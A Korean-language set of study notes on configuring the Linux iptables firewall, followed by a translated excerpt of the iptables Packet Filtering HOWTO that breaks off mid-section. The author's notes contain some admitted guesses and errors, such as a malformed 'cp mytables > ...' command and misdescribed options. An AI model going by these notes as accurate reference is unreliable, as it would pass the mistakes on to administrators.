-P : 미리만들어진 체인의 정책 바꾸기
-F : 체인의 규칙 지우기
-L : 체인의 규칙 나열하기
-Z : 체인내 규칙들의 패킷과 바이트의 카운트를 0으로 만들기

내부 체인조절
-A : 새로운 규칙을 추가하기
-I : 체인의 특정지점에 규칙삽입하기
-R : 체인의 특정지점의 규칙교환하기
-D : 체인의 특정지점의 규칙삭제하기

INPUT : 자신의 서버에 접속할때 설정
FORWARD : 자신의 서버가 경유지로 이용될때
OUTPUT : 자신의 서버에서 외부로 빠져나깔때 설정

DROP : 해당 패킷을 제거함
ACCEPT : 해당 패킷을 받아들임
REJECT : 해당 패킷을 돌려보냄

2. 설정파일을 파일로 남기기

iptables-save > mytables
로 파일을 만든 후 수정 및 추가 삭제를 한다.
메모리에 저장되므로 재부팅시 설정이 유지되지 않는다.
그래서 파일로 만들어 부팅시 자동실행되게 한다.

iptables의 정책 변경

iptables -F INPUT : input 설정을 먼저 제거한다.
iptables-restore < mytables : 변경된 mytables의 내용을 읽어들임
iptables -L [-n]

cp mytables > /etc/sysconfig/iptables : 시작프로그램으로 작동시

3. 문법 예제
- 설정순서가 중요하다. 먼저 ACCEPT한후 DROP해 주어야 한다.
- 자주 사용되는 정책들은 앞에 설정해 두자(네임서버, 분절, 상태적용, ...)

: ! : 일치하지 않는(상태적용 제외)
ex) -p ! tcp : tcp 프로토콜을 제외한 나머지 프로토콜

ex) iptables -A INPUT -s 211.111.111.0/24 -p tcp -m tcp --syn -j DROP
: -A : 정책 추가
: INPUT : 자신의 서버로 접속하는 부분에 대한 설정을 표시
: -s : start 출발지를 나타냄
즉 현재 서버로 접속하는 클라이언트들에 대한 설정임
211.111.111.0/24 : 211.111.111.0 - 255번까지
211.111.111.0/255.255.255.0 : 위와 동일
0/0 : 모든 주소를 나타냄(이렇게 설정하지 않음)
: -p tcp : 정책을 가하는 프로토콜을 나타냄
: -m tcp : tcp의 확장으로 이해하자(??)
: --syn : tcp 인증과정(SYN,RST,ACK,SYN)을 모두 나타냄(??)
: -j DROP : 정책을 나타냄

ex) iptables -A INPUT -i lo -j ACCEPT
: -i : 입력인터페이스
-o : 출력인터페이스
: INPUT이므로 당연히 입력인터페이스로 결정된다.
* lo : loopback interface

ex) iptables -A INPUT -f -j DROP
: -f : 분절지정으로 DROP으로 설정(??)

ex) in과 out을 함께 적어주면 좋음(??)
: -A INPUT -p tcp -m tcp --dport 25 -j ACCEPT
: -A OUTPUT -p tcp -m tcp --sport 25 -j ACCEPT

ex) 상태적용 (!을 쓰지 못함)
: -m state --state [NEW, ESTABLISHED, RELATED, INVALID]
: INVALID 가 정책의 가장위에 있게 함
: ESTABLISHED, RELATED가 그 다음
: NEW가 가장 마지막
: 위에서
: -A INPUT -f -j DROP
: -A INPUT -m state --state INVALID -j DROP
* ESTABLISHED, RELATED, NEW는 정책과 함께 사용하자 당연한 이야기
* 먼저 ESTABLISHED, RELATED설정후 똑같이 NEW를 설정한다.
* 그리고 당근 DROP이 따라 와야 한다.

ex 초짜 설정)
# Generated by iptables-save v1.2.6a on Fri Dec 27 16:11:48 2002
*filter
:INPUT ACCEPT [22188:2403099]
:FORWARD ACCEPT [0:0]
:OUTPUT ACCEPT [14235:609757]
# 그대로 두자 iptables-save > mytables시 자동으로 생성되는 부분

-A INPUT -f -j DROP
# 분절은 모두 drop
-A INPUT -i lo -j ACCEPT
# 입력인터페이스 모두 허용

#-A INPUT -d 218.238.43.6 -p tcp -m tcp --dport 80 -j ACCEPT
# INPUT -d(목적지)이므로 접속의 목적지는 바로 자신의 IP가 된다.(OUTPUT이면 반돼가
# 된다. 주의 하자) 그러므로 자신의 IP를 적어주고, tcp 프로토콜에 대해서 설정한다.
# dport는 목적지 포트로 자신의 컴퓨터 80번포트에 해당한다.
# 즉 웹서비스만 접속가능하다는 뜻(80번 포트)
-A INPUT -p tcp -m tcp --dport 80 -m mac --mac-source 00:E0:29:96:FF:63 -j ACCEPT
# 이 부분은 해당 랜카드의 MAC ADDRESS에서만 접속가능하게 설정하는 부분
-A INPUT -d 218.238.43.6 -p tcp -m tcp --syn -j DROP
# 위에서 ACCEPT한 후에 이곳에서 DROP설정
# --syn 설정하자 : 나가는 tcp는 허용 접속하는 tcp는 거부

############### UDP #########################################
-A INPUT -s 210.117.65.100 -d 218.238.43.6 -p udp -m udp --sport 53 -j ACCEPT
# 210.117.65.100(외부 네임서버)에서 자신의 컴퓨터(218.238.43.6)로 UDP포트를 이용하여
# 210.117.65.100의 53(네임서버)포트를 이용하여 접속할 때 접속허용
# 외부 네임서버 이용시 설정

#-A INPUT -d 218.238.43.6 -p udp -m udp --dprot 53 -j ACCEPT
# 자신의 네임서버를 운영할 때

-A INPUT -d 218.238.43.6 -p udp -m udp -j DROP
# 자신의 컴퓨터로 UDP 포트를 이용한 접속을 모두 거부
# 항상 ACCEPT후 DROP하자.

############### ICMP #########################################
-A INPUT -d 218.238.43.6 -p icmp --icmp-type 8 -j REJECT
# 자신의 컴퓨터로 icmp 프로토콜을 이용하여 접속할 때
# icmp type 8번 포트만 거부(ping 공격거부임)

COMMIT
# Completed on Fri Dec 27 16:11:48 2002

ex 딴놈꺼 함 보기)
FTP 데몬및 클라이언트 설정하기

FTP SERVER
FTP 데몬을 위해서는 21번 포트로 들어 오는 접속 시도 연결,
그와 연관이 있는 20번 포트로의 연결, windows의 IE 에서 더블 클릭들을 했을
경우에 대한 passive(1024-65535 포트로의 연결)모드에 대한 연결을 허락

iptables -A INPUT -p tcp --dport 21 -m state --state NEW,ESTABLISHED -j ACCEPT
iptables -A INPUT -p tcp --dport 20 -m state --state ESTABLISHED -j ACCEPT
iptables -A INPUT -p tcp --sport 1024:65535 --dport 1024:65535 -m state \
--state ESTABLISHED,RELATED -j ACCEPT

21번 포트로의 새로운 연결과 연결 확립을 허가
20번역시 허가
나머지 1024-65535 번으로의 연결 확립및 연관된 패킷에 대한 연결을 허가하는
RELATED를 위해서 패킷을 추적하는 것으로 예상된다.

추가로 다음 명령을 집어 넣으면 더 빠른 접속을 하게 되는데,
왜 그런지는 지금 이해가 가지 않는다.
내가 아는 FTP 세션 연결과는 상관이 없는 부분이지만,
서버측에서 다음과 같은 패킷을 보내고 나서 응답이 없으면
연결을 맺는 기이한 현상을 보이고 있다.서버측 모습을 보면

[root@redhat root]# netstat -an
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 0.0.0.0:21 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN
tcp 0 0 192.168.0.8:21 192.168.0.3:2649 ESTABLISHED
tcp 0 20 192.168.0.8:22 192.168.0.3:2625 ESTABLISHED
tcp 0 1 192.168.0.8:1137 192.168.0.3:113 SYN_SENT

마지막 라인을 주목해서 보기 바란다. 192.168.0.8 은 서버측 주소이고,
192.168.0.3은 클라이언트 쪽 주소이다. 즉 클라이언트 족에서 원하는 데이타를
IE에서 더블 클릭하면 위와 같은 상황이 발생하게 된다는 말이다.
따라서 다음을 집어 넣으면 빠른 접속을 하게 되는데, 알수 없는 현상이다.
이부분에 대한 생각을 좀 해봐야 할 것이다. 정확한 이해를 하는대로 수정하겠다.

iptables -A INPUT -p tcp --sport 113 -m state --state ESTABLISHED -j ACCEPT

FTP 클라이언트
tcp는 양방향이기 때문에 클라이언트측에서 나가는게 허락이 된다고 해도,
들어 오는게 막혀 있으면 접근이 불가능하다.
따라서 상대방의 21,20,1024-65535 에서 들어 오는 연결을 허락해야 한다.
서버측과 상대적으로 생각하면 된다.

iptables -A INPUT -p tcp --sport 21 -m state --state ESTABLISHED -j ACCEPT

상대방의 21번 포트에서 내컴으로의 존재하는 접속에 대한 패킷을 받아 들이는 룰이다.

iptables -A INPUT -p tcp --sport 20 -m state --state ESTABLISHED,RELATED -j ACCEPT

위의 라인은 서버(상대방)측의 20번 포트에서 내 컴퓨터로 존재하는 접속에 대한
패킷과 또 그존재 하는 접속과의 연관이 있는 패킷을 허용한다.

iptables -A INPUT -p tcp --sport 1024:65535 --dport 1024:65535 -m state \
--state ESTABLISHED -j ACCEPT

위의 라인은 상대방컴(서버)의 1024:65535 에서 내 컴(클라이언트)으로의 존재하는
접속에 대한 패킷을 허용 한다.
위와 같이 허가를 해주면, active, passive 모드 둘 다 접근이 가능하다.

ex 초짜에서 함더 생각한후 설정)
# Generated by iptables-save v1.2.6a on Tue Dec 31 13:15:17 2002
*filter
:INPUT ACCEPT [8762:10005592]
:FORWARD ACCEPT [0:0]
:OUTPUT ACCEPT [7815:454302]
:RH-Lokkit-0-50-INPUT - [0:0]
##################### 상위에 오는 정책들 ###########################
# fragmentation drop
-A INPUT -d 218.238.43.20 -f -j DROP
# INVALID packet Drop
-A INPUT -d 218.238.43.20 -m state --state INVALID -j DROP
# 네임서버가 상위정책에 오는 것은 생각해 보면 당연한 것 같다.
# 외부네임서버(210.117.65.100) 이용할 때
-A INPUT -s 210.117.65.100 -d 218.238.43.20 -p udp -m udp --sport 53 -j ACCEPT
# 자신이 네임서버역확을 할때
-A INPUT -d 218.238.43.20 -p udp -m udp --sport 53 -j ACCEPT
# 나머지 udp 포트는 Drop
#-A INPUT -d 218.238.43.20 -p udp -m udp -j DROP
# Loopback 은 모두 허용(??)
-A INPUT -i lo -j ACCEPT
# 서비스 포트가 아니라 랜덤하게 생성되는 외부 응용프로그램의 접속포트이다.
# 그러므로 ACCEPT 해주는 것이 편하다.
-A INPUT -p tcp --sport 1025:65535 --dport 1025:65535 -m state --state ESTABLISHED,RELATED -j ACCEPT
#################### ESTABLISHED, RELATED, NEW #######################
# ESTABLISHED, RELATED 설정후 나머지(TCP, UDP) 모두 DROP 시키고
# 똑같이 NEW 설정후 나머지(TCP, UDP) 모두 DROP하는 순서로 한다.
# 응답속도가 빠르게 요구되는 것은 상위에 위치시킨다.
############### ESTABLISHED, RELATED #################################
# 아파치
-A INPUT -d 218.238.43.20 -p tcp -m tcp --dport 80 -m state --state ESTABLISHED,RELATED -j ACCEPT
# 20-21:FTP, 22:SSH
-A INPUT -d 218.238.43.20 -p tcp -m tcp --dport 20:22 -m state --state ESTABLISHED,RELATED -j ACCEPT
# 25:smtp
-A INPUT -d 218.238.43.20 -p tcp -m tcp --dport 25 -m state --state ESTABLISHED,RELATED -j ACCEPT
# 137-139:samba
-A INPUT -d 218.238.43.20 -p tcp -m tcp --dport 139 -m state --state ESTABLISHED,RELATED -j ACCEPT
-A INPUT -d 218.238.43.20 -p udp -m udp --sport 137:138 -m state --state ESTABLISHED,RELATED -j ACCEPT
############### NEW #################################
-A INPUT -d 218.238.43.20 -p tcp -m tcp --dport 80 -m state --state NEW -j ACCEPT
-A INPUT -d 218.238.43.20 -p tcp -m tcp --dport 20:22 -m state --state NEW -j ACCEPT
-A INPUT -d 218.238.43.20 -p tcp -m tcp --dport 25 -m state --state NEW -j ACCEPT
-A INPUT -d 218.238.43.20 -p tcp -m tcp --dport 139 -m state --state NEW -j ACCEPT
-A INPUT -d 218.238.43.20 -p udp -m udp --sport 137:138 -m state --state NEW -j ACCEPT
############### 나머지 전부 DROP #################################
-A INPUT -d 218.238.43.20 -p tcp -m tcp --syn -j DROP
# 아래와 같은 설정이다 (--syn)
#-A INPUT -d 218.238.43.20 -p tcp -m tcp --sport 1:65535 -j DROP
-A INPUT -d 218.238.43.20 -p udp -m udp -j DROP
#-A INPUT -d 218.238.43.20 -p udp -m udp --sport 1:65535 -j DROP
############### ICMP #########################################
# icmp type 8 : echo = ping 공격 거부 설정
-A INPUT -d 218.238.43.20 -p icmp --icmp-type 8 -j DROP
############### ETC# #########################################
# MAC ADDRESS의 랜카드만 접속 허용
# 주의하자 상위 정책에서 tcp를 막았으므로 아래 설정은 상위에 설정되어야
# 효력을 발휘할 것으로 생각된다.
# 특정유저 허용, 로그기록등 다양한 설정이 가능하다. 계속 연구하자.
#-A INPUT -p tcp -m tcp --dport 80 -m mac --mac-source 00:E0:29:96:FF:63 -j ACCEPT
COMMIT
# Completed on Tue Dec 31 13:15:17 2002

===============================================================================
IPTABLES HOWTO 문서
===============================================================================
IP address, network address, netmask, routing, DNS 가 무었인지 알고 있다고
가정합니다. 그렇지 않다면 '네트워크 개념 하우투' 를 읽기를 권유합니다.

이 하우투는 상냥한 소개(이게 여러분을 열받게 하고 지금은 흐리멍텅하고 그러나
무방비인)와 가공되지않은 완전 노출(which would leave all but the hardiest
souls confused, paranoid and seeking heavy weaponry)사이를 넘 나들 것이다.

여러분의 네트워크는 안전하지 않다. 빠르고, 편안하면서 그 사용이 좋은 쪽으로만
하도록하고 악한 시도를 허락하지 않도록 하려는 것은 복잡한 영 화관에서 자유로운
대화는 허락하면서 "불이야"하고 외치는 것은 불허하는 것처럼 거의 해결불능의
문제와 같다. 이것에대한 해답은 이 하우투에서 구할 수 없을 것이다.

여러분이 할 수있는 것은 그 절충점을 결정하는 일이다. 나는 이러한 목적 으로
사용할 수 있는 몇몇 도구와 경계하여야할 약점에 대하여 여러분이 좋은 목적으로
사용하고 악의있는 목적으로 사용하지 않기를 바라며, 알려 주려고 한다. 또다른
어려운 문제이다.


3. 그렇다면, 패킷 필터란 무었일까?

패킷필터는 지나가는 패킷의 해더를 살펴보고 그 전체 패킷의 운명을 결정하는
소프트웨어의 일부이다. 이것은 패킷을 'DROP'(즉, 마치 전혀 전달되지도 못 했던것
처럼 패킷을 거부) 하던가, 'ACCEPT'(즉, 패킷이 지나가도록 내버려 둠) 하던가
또는 다른 더욱 복잡한 무엇을 할 것인가를 결정할 것이다.

리눅스에서 패킷 필터링은 커널 내부에 구성되고(커널의 모듈로서 또는 그 내부에
포함 되는 형태이다), 우리가 패킷으로 해야할 몇몇 복잡한 것이 있다. 그러나, 그
패킷의 헤더를 관찰하고 그 패킷의 운명을 결정하는 기본 원칙은 여전히 적용 된다.




3.1 왜 우리는 패킷을 필터할려고 하나 ?


제어, 보안, 관찰가능성


제어:

여러분이 내부 네트워크에서 다른 네트워크로 리눅스 박스를 이용하여 접속을
하고자 할때(소위, 인터넷) 여러분은 어떤형태의 전송은 가능하게 하고 다른것은
불가능하게 할 기회를 가진다. 예를 들어, 패킷 헤더에는 목적지의 주소를 포함하고
있고 이것으로 패킷이 바깥 네트워그의 다른곳 으로 가지 않도록 한다. 다른 예로,
나는 Dilbert archives를 호출하기 위하여 넷스케잎을 이용한다. 그곳의
웹페이지에는 doubleclick.net으로 부터의 광고가 있고 넷스케잎은 그 광고를
받기위하여 나의 시간을 소비한 다. doubleclick.net의 주소로 가거나 또는
그곳에서 오는 어떠한 패킷도 허락하지 않도록 패킷필터에게 이야기 해 놓음으로 이
문제를 해결할 수 있다. (이렇게 하는 더 좋은 방법도 있다 : Junkbuster를 보세요)


보안:

여러분의 멋지고, 잘 정돈된 네트워크와 인터넷의 혼돈사이에 리눅스 박스 만이
있다면, 여러분의 네트워크로 들어오려는 것을 억제할 수 있다는 것은 근사한
일이다. 예를들어, 여러분은 여러분의 네트워크로부터 나가는 모든 것을 허용하고
싶지만, 반면에 밖으로부터 들어오는, "죽음의 핑"같은, 악의 있는 것에 대하여는
것정이 될 것이다. 다른 예로, 아무리 여러분 리눅스 박스의 모든 계정사용자가
암호를 가지고 있다고 하더도 바깥으로부터의 텔넷시도는 바라지 않을 것이다.
대부분의 사람들처럼 인터넷에서 구경꾼 이 되고 싶고 제공자는 되고싶지 않을
것이다. 간단히 말해서, 접속중에 모든 들어오려는 패킷을 패킷 필터를 이용하거
거부할려고 할 것이다.


관찰가능성:

가끔 잘못 설정된 지역네트워크는 패킷을 바깥세상으로 토해놓는다. 패킷 필터에게
어떠한 이상한 일이라도 일어나면 여러분에게 알려 주도록 말해 두는 것은 근사한
일이다. 여러분은 이런 일에대하여 무엇인가를 할 수도 있고 그냥 '이상한
일이네'하고 넘길 수도 있다.



3.2 리눅스에서 패킷 필터는 어떻게 하나 ?


1.1 시리즈 부터 리눅스 커널은 패킷 필터링을 포함하기 시작했다. 제 1세대는
BSD의 ipfw를 기본으로 하였고 1994년 후반기에 Alan Cox에 의해서 포트 되었다.
이것은 리눅스 2.0에서 Jos Vos와 다른이들에 의해서 개선되었고 커널의 필터링
규칙을 제어하는 사용자 툴로는 'ipfwadm'이 사용되었다. 1998년 중반에 리눅스
2.2를 위하여 나는 Michael Neuling의 도움으로 커널에 대하여 열심히 일하였고
사용자 툴료는 'ipchains'를 내놓았다. 마지막으로, 제 4세대 툴이 'iptables'이고
리눅스 2.4를 위하여 1999년 중반에 커널을 제 작성 하였다. 이 하우투 문서가
촛점을 맞추고 있는 것이 이 iptables 에 대한 내용이다.



netfilter를 가지고있는 커널이 필요하다. netfilter는 다른 것들(iptables 모듈
같은)이 붙을수 있는 리눅스 커널의 일반적인 기본 구조이다. 이것은 2.3.15 이상
의 리눅스 커널에 들어있고 커널 설정에서 CONFIG_NETFILTER 에 'Y'로 대답하고 컴
파일한 것이어야 한다.



iptables라는 툴은 커널에게 어떤 패킷을 필터할 것인지를 알려준다. 여러분이 프
로그래머나 변태가 아니라면, 이것이 패킷 필터링을 제어하는 수단이다.



iptables


iptables 는 커널의 패킷 필터링 테이블에 필터링 규칙을 삽입하거나 삭제하는 도구
이다. 이것은 여러분이 무었을 설정했든지, 재부팅시에는 소실된다는 것을
의미한다. 다음번 리눅스가 다시 부팅되었을때 설정 내용들이 재설치 되기를
바란다면 규칙들을 영속시키기를 보아라



iptables는 ipfwadm과 ipchains를 대치한다. 손실없이 iptables 의 사용을 피하고
싶 다면 ipchains와 ipfwadm 사용하기를 보아라.



규칙들을 영속시키기


여러분의 파이어월 설정은 커널에 저장되므로 재부팅시에 손실된다. iptables-save
와 iptables-restore을 구현하는 것은 나의 TODO 리스트에 있다. 이것들이 나오게
되면 정말 좋을 것이다. 약속한다.



그동안은 여러분의 규칙을 설정하는 명령들을 초기화 스크립트에 기록해야 한다. 명
령들중 하나가 실패하였을때를 대비하여 뭔가 이성적인것을 해두어야 한다. (보통
'exec /sbin/sulogin'을 사용한다.)


4. 당신은 누구며 왜 나의 커널을 가지고 놀려고 하나 ?


나는 Rusty이다. 리눅스 IP 파이어월 유지하는 사람이고 적절한 시기에 적절한
장소에 있게된 그냥 워킹코더일 뿐이다. 나는 ipchains를 맹글었다. (실제적인
작업을 한 사람을 볼려면 "How Do I Packet Filter Under Linux?"라는 문서를
보라), 그리고 이번에 패킷 필터링을 구할 수 있을 정도의 많은 것을 배웠다.



WatchGuard는 정말 훌륭한 파이어월 회사이며, 정말 멋진 플럭인 파이어박스를
판매하며 아무것도 하지 않아도 나에게 월급을 준다. 덕분에 나는 이 작품을
만드는데 나의 모든 시간을 소모할 수 있었고, 이전의 작업도 그러하다. 나는
6개월이면 끝마치리라 짐작했지만 12개월이 걸렸다. 그러나 내가 바르게 했다는
생각이 든다. 수많은 수정과 하드디스크 박살과, 한번의 랩탑분실과 몇번의
파일시스템 박살과 한번의 모니터 박살의 결과물이 여기있다.



내가 여기에 있는 동안, 사람들의 잘못된 개념을 고쳐주고 싶다. 나는 커널대왕 이
아니다. 나도 내가 커널대왕이 아닌것을 안다. 왜냐하면 이런 커널에 대한 작 업중
진짜 커널대왕들(David S. Miller, Alexey Kuznetsov, Andi Kleen, Alan Cox 같은)
몇명과 접촉해 봤기 때문이다. 그러나 그들은 심오한 마술을 하느라 너무나 바빴고,
내가 안전한 물 가장자리에서 허우적 거리도록 내버려 두었다.


5. Rusty's 의 패킷 필터링에 대한 총알 가이드


대부분의 사람들은 단 하나의 PPP 접속만 사용하고 어떤 누구도 이것을 통해서
들어오는 것을 원하지 않는다.


## connection-tracking modules을 삽입한다. (not needed if built into kernel).
# insmod ip_conntrack
# insmod ip_conntrack_ftp

## 내부로부터 오는 것을 제외한 다른 새로운 접속을 막기위하여 새로운 체인을
## 만든다.
# iptables -N block
# iptables -A block -m state --state ESTABLISHED,RELATED -j ACCEPT
# iptables -A block -m state --state NEW -i ! ppp0 -j ACCEPT
# iptables -A block -j DROP

## 입력과 포워드 체인으로부터 그 체인으로 가도록 한다.
# iptables -A INPUT -j block
# iptables -A FORWARD -j block


6. 패킷이 필터를 어떻게 지나는가 ?


커널은 '필터' 테이블에 세개의 규칙을 가지고 시작한다. 이것을 파이어월 체인
또는 그냥 체인이라고 한다. 그 세개의 체인은 INPUT, OUTPUT, FORWARD 이다.


이것은 2.0 이나 2.2 커널과는 아주 다르게 움직인다.



이 체인은 아래그림처럼 생겼다.

_____
/ \
-->[ 라우팅 ]--->|포워딩 |------->
[ 판 정 ] \_____/ ^
| |
v ____
___ / \
/ \ | 출력 |
|입력 | \____/
\___/ ^
| |
----> Local Process ----



위 그림에서 세개의 원은 위에서 언급한 세개의 체인을 나타낸다. 패킷이 이
그림에서 동그라미로 나타낸곳에 이르면 그 체인은 그 패킷의 운명을 결정하
기위하여 시험한다. 체인이 그 패킷을 DROP 하라고 하면 패킷은 그곳에서 삭
제된다. 그러나 그 체인이 ACCEPT 하고 하면 이 이 그림의 다음 부분으로 계 속
전달된다.



체인은 규칙의 점검표이다. 각 규칙은 '패킷의 헤더가 이렇게 되어있으면 이 곳에서
무엇을 하라'는 형태로 되어 있다. 규칙이 그 패킷에 맞지 않으면 다 음 규칙을
참고한다. 마지막으로 더이상 고려할 규칙이 없으면 커널은 무엇 을 할 것인가를
결정하기 위하여 그 체인의 정책을 확인한다. 보안을 생각하 는 시스템에서 이러한
정책은 보통 커널에게 그 패킷을 DROP 하도록 한다.



패킷이 커널에 도탁하면 그 패킷의 목적지를 확인한다. 이것은 '라우팅' 이라고
한다.
이것의 목적지가 이곳이면, 패킷은 위 그림에서 아래쪽 방향으로 전달 되어 입력
체인에 도달한다. 이것이 이 체인을 통과하면 패킷을 기다리 고있던 어떤
프로세서도 그것을 받게 된다.
그렇지 않으면, 커널이 포워딩 불능으로 되어있던가, 패킷을 어떻게 포 워딩해야
하는가를 알지 못하면, 그 패킷은 DROP 된다. 포워딩이 가능하 게 되어있고 다른
곳이 목적지이면 패킷은 그림의 오른쪽 방향으로 전달 되어 포워딩 체인으로 간다.
이 체인이 ACCEPT 하게 되면 이것은 포워딩 할 네트워크로 보내진다.
마지막으로, 이곳에서 돌아가던 프로그램은 네트워크 패킷을 전송할 수 있 게 된다.
이 패킷은 즉시 출력 체인에 보내진다. 이 체인이 ACCEPT 하게 되면 이 패킷은 그
목적지가 어디든지 보내진다.


7. iptables 사용하기


iptables는 상당히 자세한 메뉴얼 페이지(man iptables)를 가지고 있다. ipchains
에 익숙하다면 <@@ref>Appendix-Aipchains와 iptables의 다른점을 보아라. 이 둘은
매우 비슷하다.



iptables로 할수 있는 일에는 몇가지 다른것이 있다. 첫번째 작동은 전체 체인을
조절한다. 처음 시작은 세개의 미리 만들어진 체인으로 시작하는 데 이것은 제거될
수 없다.


새로운 체인 만들기 (-N).
비어있는 체인을 제거하기 (-X).
미리 만들어진 체인의 정책을 바꾸기 (-P)
어떤 체인의 규칙들을 나열하기 (-L)
체인으로부터 규칙들을 지우기 (-F)
체인내의 모든 규칙들의 패킷과 바이트의 카운드를 0 으로 만들기 (-Z)

체인 내부의 규칙을 조작하는 몇가지 방법이 있다.


체인에 새로운 규칙을 추가하기 (-A)
체인의 어떤 지점에 규칙을 삽입하기 (-I)
체인의 어떤 지점의 규칙을 교환하기 (-R)
체인의 어떤 지점의 규칙을 제거하기 (-D)
체인에서 일치하는 첫번째 규칙을 제거하기 (-D)


7.1 컴퓨터가 부팅될때 여러분이 보게 되는 것


iptables는 모듈로 되어있을 것이다. 이것은 iptable_filter.o 이다. 이것은
처음으로 iptables를 실행할때 자동으로 로드될 것이다. 이것느 커널에 영구히
포함될 수도 있다.



iptables 명령이 실행되기 전에는 기본적으로 만들어져있는 체인(입력, 포워딩,
출력)에는 아무른 규칙도 없다. (주의 : 어떤 배포판에는 초기화 스크깁트에
iptables를 실행하는 것이 들어있을 수 있다.) 입력과 출력 체인의 정책은
ACCEPT이고 포워딩 체인의 정책은 DROP이다. (iptable_filter 모듈에 'forward=1'
옵션을 선택하여 이것을 고칠 수 있다.)



7.2 하나의 규칙으로 작동하기


이것은 패킷 필터링의 약방의 감초이다. 일반적으로 추가와 제거 명령을 사용할
것이다. 다른것은 이런 개념의 단순한 확장이다.



각 규칙은 패킷이 일치되어야할 상태를 설정하고, 일치되었을때 무었을 할 것인가
('target')를 나타낸다. 예를들어, 여러분은 127.0.0.1로부터의 모든 ICMP 패킷을
DROP하려고 할 것이다. 그렇다면, 이경우 일치되어야할 상태는 'ICMP이면서 그 출처
가 127.0.0.1' 이다. 이 경우 'target' 은 DROP 이다.



127.0.0.1 은 'loopback' 인터페이서 이고 실제적인 네트워크 접속이 전혀 없더라도
이것은 가지고 있을 것이다. 이러한 패킷은 'ping' 프로그램을 이용하여 생성할 수
있다. (이것은 단순히 ICMP type 8 (반응요구)을 보내고 모든 협조적인 호스트는
친절하게 ICMP type 0 (반응요구에 대한 응답)을 대답한다. 이것은 테스트하는데
유용 하다.



# ping -c 1 127.0.0.1
PING 127.0.0.1 (127.0.0.1): 56 data bytes
64 bytes from 127.0.0.1: icmp_seq=0 ttl=64 time=0.2 ms

--- 127.0.0.1 ping statistics ---
1 packets transmitted, 1 packets received, 0% packet loss
round-trip min/avg/max = 0.2/0.2/0.2 ms
# iptables -A INPUT -s 127.0.0.1 -p icmp -j DROP
# ping -c 1 127.0.0.1
PING 127.0.0.1 (127.0.0.1): 56 data bytes

--- 127.0.0.1 ping statistics ---
1 packets transmitted, 0 packets received, 100% packet loss
#


여기서 첫번째 ping 이 성공한 결과를 볼 수 있다. ('-c 1'은 하나의 패킷만
보내도록 ping에게 말하는 것이다.)



그리고, '입력' 체인에 127.0.0.1에서 오는 패킷('-s 127.0.0.1')으로 ICMP
프로토콜인것 ('-p icmp')은 DROP ('-j DROP')하라는 규칙을 추가(-A)하였다.



그리고는 다시 ping으로 규칙을 테스트하였다. ping이 오지않은 응답을 기다 리지
못하고 응답받기를 포기하기까지 약간의 시간이 걸릴것이다.



규칙을 제거하는데는 두가지 방법이 있다. 첫째, 입력체인에는 단 하나의 규칙 만이
있다는 것을 앎으로, 몇번을 지워라는 방식으로 할 수 있다.

# iptables -D INPUT 1
#

입력 체인으로부터 1번 규칙을 제거한다.


두번째 방법은 -A 명령을 이용한 이전의 명령에서 -A를 -D로 다꿔주면 된다. 이것은
복잡한 규칙을 가지고 있고 각 규칙이 몇번째 규칙인지를 외우고 다니기를 싫어
한다면, 아주 유용한 방법이다.

# iptables -D INPUT -s 127.0.0.1 -p icmp -j DROP
#

-D 명령은 -A 명령과 똑 같은 문법이다. (-I 나 -R 도 마찬가지이다.) 만약,
여러개의 똑 같은 규칙들이 같은 체인에 있다면, 첫번째 것만 제거 될 것이다.


7.3 필터링 지정


앞에서 프로토콜을 지정하기위하여 '-p'를 이용하였고, 출처를 지정하기 위하여
'-s'를 이용하였다. 그 외에도 패킷의 특징을 지정하는데 사용되 는 다른 옵션들이
있다. 아래는 이것들에 대한 완벽한 개요이다.



출처와 목적지 지정


출처('-s', '--source', '--src')와 목적지('-d', '--destination', '--dst') IP
주소를 지정하는데 4가지 방법이 있다. 가장 보편적인 방법은 'www.linuxhq.com',
'localhost' 처럼 이름을 이용하는 것이다. 두번째 방법은 '127.0.0.1' 처럼 IP
주소를 이용하는 것이다.



세번째와 네번째 방법은 IP 주소의 그룹을 지정하는 것으로 '199.95.207.0/24' 또는
'199.95.207.0/255.255.255.0' 같은 형태이다. 이 둘은 모두 199.95.207.0 부터
199.95.207.255 사이의 모든 IP 주소를 지정한다. '/' 다음의 숫자는 IP 주소의
어떤 부분이 의미있는가를 나타낸다. '/32' 나 '/255.255.255.255' 가
기본값이다.(IP 주소의 모든부분이 일치해야 한다.) 모든 IP 주소를 지정하는데
'/0' 가 사용된다.

# iptables -A INPUT -s 0/0 -j DROP
#


이것은 '-s' 옵션을 이용하지 않은것과 같은 효과를 나타내므로 잘 사용되지
않는다.



'역'의 경우 지정


많은 지시자들('-s'나 '-d' 같은)은 일치하지 않는 주소를 나타내기 위하여
'!'('not'을 의미한다)로 시작하는 설정을 할 수 있다. 예로, '-s ! localhost' 는
localhost로부터오는 패킷이 아닌경우를 나타낸다.



프로토콜 지정


프로토콜은 '-p' 지시자로 지정할 수 있다. 프로토콜을 숫자가 될수 있고 (IP의
프로토콜 번호를 알고 있다면) 'TCP', 'UDP', 'ICMP' 같은 이름이 될 수도 있다.
그리고 'tcp'는 'TCP'와 같은 역할을 한다.



프로토콜 이름 지정에도 '!'을 이용할 수 있다. '-p ! TCP'



인터페이서 지정


'-i'('--in-interface')와 '-o'('--out-interface')가 인터페이서를 저정 하는데
사용된다. 인터페이서는 패킷이 들어오고 나가는 물리적인 도구이다. ifconfig
명령을 사용하여 현재 활성화 되어있는 인터페이서를 알아볼수 있다.


입력 체인을 지나는 패킷은 출력 인터페이서를 가지고 있지 않으므로 '-o' 설정에
일치하는 패킷이 없을 것이고 출력 체인을 지나는 패킷은 입력 인터 페이서를
가지고 있지 않으므로 '-i' 설정에 일치하는 패킷이 없을 것이다.



포워딩 체인을 지나는 패킷만이 입력과 출력 인터페이서를 모두 가질것이다.



현재 존재하지 않는 인터페이서를 지정하는 것도 아무런 문제없이 될 수 있 다.
이것은 인터페이서가 활성화 되기 전까지는 규칙에 일치하는 패킷이 있을수 없을
것이다. 이것은 dial-up PPP를 사용하는 경우 특히 유용하다.



특별한 경우로, 인터페이서 이름이 '+'로 끝날수 있는데 이것은 그 이름으로
시작하는 모든 인터페이서를 모두 지정한다(그것이 현재 존재하든 존재하지 않든).
예를들어, 모든 PPP 인터페이서와 일치하는 규칙을 지정하려면 -i ppp+와같이 하면
된다.


인터페이서 이름앞에 '!'도 이용할 수 있다.



분절 (Fragments) 지정


